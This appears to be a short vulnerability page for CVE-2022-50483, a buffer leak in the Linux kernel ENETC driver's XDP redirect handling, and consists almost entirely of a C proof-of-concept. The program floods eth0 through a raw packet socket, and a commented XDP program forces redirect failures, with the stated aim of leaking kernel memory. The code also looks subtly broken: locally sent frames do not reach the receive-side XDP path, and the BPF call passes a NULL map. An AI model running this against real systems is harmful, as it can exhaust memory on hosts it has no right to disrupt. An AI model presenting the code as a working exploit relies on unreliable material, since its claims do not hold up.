CVE-2022-50483 Linux内核ENETC驱动XDP重定向缓冲区泄漏漏洞

// CVE-2022-50483 PoC - Trigger buffer leak via XDP_REDIRECT failure // This PoC demonstrates how to trigger the buffer leak by causing // xdp_do_redirect() to fail repeatedly #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <net/if.h> #include <sys/ioctl.h> #include <errno.h> // Note: This vulnerability requires kernel-level access to trigger // The actual exploitation requires: // 1. Access to ENETC network interface // 2. Ability to load XDP programs // 3. Trigger conditions for xdp_do_redirect() failure int main(int argc, char *argv[]) { int sock; struct sockaddr_ll sa; struct ifreq ifr; // Step 1: Create raw socket for packet injection sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sock < 0) { perror("socket"); return 1; } // Step 2: Get ENETC interface (typically eth0 or similar) strncpy(ifr.ifr_name, "eth0", IFNAMSIZ - 1); if (ioctl(sock, SIOCGIFINDEX, &ifr) < 0) { perror("ioctl SIOCGIFINDEX"); close(sock); return 1; } // Step 3: Bind to ENETC interface memset(&sa, 0, sizeof(sa)); sa.sll_family = AF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = ifr.ifr_ifindex; if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(sock); return 1; } // Step 4: Send packets to trigger XDP redirect path // The key is to cause xdp_do_redirect() to fail // This can be done by: // - Sending malformed packets that cause redirect target issues // - Overwhelming the redirect queue to trigger flush failures // - Using BPF programs that intentionally cause redirect errors char packet[64]; memset(packet, 0xFF, sizeof(packet)); printf("Sending packets to trigger XDP redirect failure...\n"); printf("This will cause buffer leaks in ENETC driver\n"); for (int i = 0; i < 10000; i++) { if (send(sock, packet, sizeof(packet), 0) < 0) { if (errno == ENOBUFS || errno == ENETDOWN) { // These errors can trigger the vulnerability path fprintf(stderr, "Send failed (expected): %s\n", strerror(errno)); usleep(1000); } } usleep(100); } printf("PoC completed. Check kernel memory usage for leaks.\n"); close(sock); return 0; } // Alternative: Use BPF to trigger the vulnerability /* * XDP program that causes redirect failure: * * SEC("xdp") * int xdp_redirect_fail(struct xdp_md *ctx) { * // Force redirect to fail by using invalid target * return bpf_redirect_map(NULL, 0, 0); * } */